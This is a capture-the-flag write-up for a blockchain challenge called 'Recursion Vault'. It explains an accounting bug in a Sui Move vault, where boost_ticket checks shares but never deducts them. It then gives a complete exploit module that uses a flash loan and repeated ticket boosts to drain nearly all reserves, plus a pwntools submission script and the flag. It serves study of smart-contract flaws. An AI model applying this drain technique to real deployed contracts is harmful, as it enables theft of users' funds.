←
$ Blockchain: Recursion Vault
Flag: BITSCTF{3c748a61c650a26067717f68b61e17e9}High-Level Summary
The vault logic is vulnerable because boost_ticket() increases withdraw ticket amount without deducting shares from the attacker account. This allows a small real position to be amplified into a ticket that represents nearly all vault shares, then redeemed via finalize_withdraw() for almost all reserves.
Root Cause
In boost_ticket(vault, account, ticket, boost_shares, ctx):
- It checks
boost_shares <= account.shares - But it does not update
account.shares - Therefore the same shares can be reused repeatedly to inflate
ticket.amount
This is a classic accounting mismatch: validation exists, but state mutation is missing.
Exploitation Strategy
- Create an attacker user account.
- Take a flash loan (
flash_loan) for a fraction of reserves. - Deposit that loan back into the vault (
deposit) to mint shares. - Create a tiny withdrawal ticket with amount
1(create_ticket) so most shares remain inaccount.shares. - Repeatedly call
boost_ticketto increase ticket amount up tovault.total_shares. - Call
finalize_withdrawto redeem the oversized ticket and drain almost all reserves. - Repay flash loan + fee.
- Keep the remainder as stolen amount and satisfy
check_exploitthreshold.
Why This Works Reliably
- The exploit computes values dynamically from current on-chain state (
vault::reserves,vault::total_shares) instead of hardcoding constants. - Repeated boosting is possible because
account.sharesis never decreased byboost_ticket. - Final withdrawal payout uses
amount / total_sharesratio. Setting ticket amount near total shares yields near-total reserves payout.
Main Exploit Program (exploit.move)
module solution::exploit {
use challenge::vault::{Self, Vault};
use sui::clock::Clock;
use sui::coin;
use sui::tx_context::{Self, TxContext};
use sui::transfer;
public fun solve(vault: &mut Vault, clock: &Clock, ctx: &mut TxContext) {
let mut account = vault::create_account(ctx);
let initial_reserves = vault::reserves(vault);
let flash_amount = initial_reserves / 20;
let (loan, receipt) = vault::flash_loan(vault, flash_amount, ctx);
vault::deposit(vault, &mut account, loan, ctx);
let target_amount = vault::total_shares(vault);
let mut ticket = vault::create_ticket(vault, &mut account, 1, clock, ctx);
// account.shares is now reduced by 1; that remaining amount can be reused infinitely.
let boost_cap = vault::user_shares(&account);
let mut remaining = target_amount - 1;
while (remaining > 0) {
let step = if (remaining > boost_cap) { boost_cap } else { remaining };
ticket = vault::boost_ticket(vault, &mut account, ticket, step, ctx);
remaining = remaining - step;
};
let mut loot = vault::finalize_withdraw(vault, &mut account, ticket, clock, ctx);
let mut fee = (flash_amount * 9) / 10000;
if (fee == 0 && flash_amount > 0) {
fee = 1;
};
let repay_amount = flash_amount + fee;
let repay_coin = coin::split(&mut loot, repay_amount, ctx);
vault::repay_loan(vault, repay_coin, receipt);
transfer::public_transfer(loot, tx_context::sender(ctx));
vault::destroy_account(account);
}
}Result
Remote evaluation succeeded and returned:
BITSCTF{3c748a61c650a26067717f68b61e17e9}
Reproducability
submit automatically with pwntools:
python3 - << 'PY'
from pwn import remote
from pathlib import Path
host, port = "chals.bitskrieg.in", 41482
src = Path("/home/taklaman/Downloads/exploit.move").read_bytes()
io = remote(host, port, timeout=20)
io.recvuntil(b"Module size (bytes): ")
io.sendline(str(len(src)).encode())
io.recvuntil(b"Source Code: ")
io.send(src)
print(io.recvall(timeout=120).decode(errors="ignore"))
io.close()
PY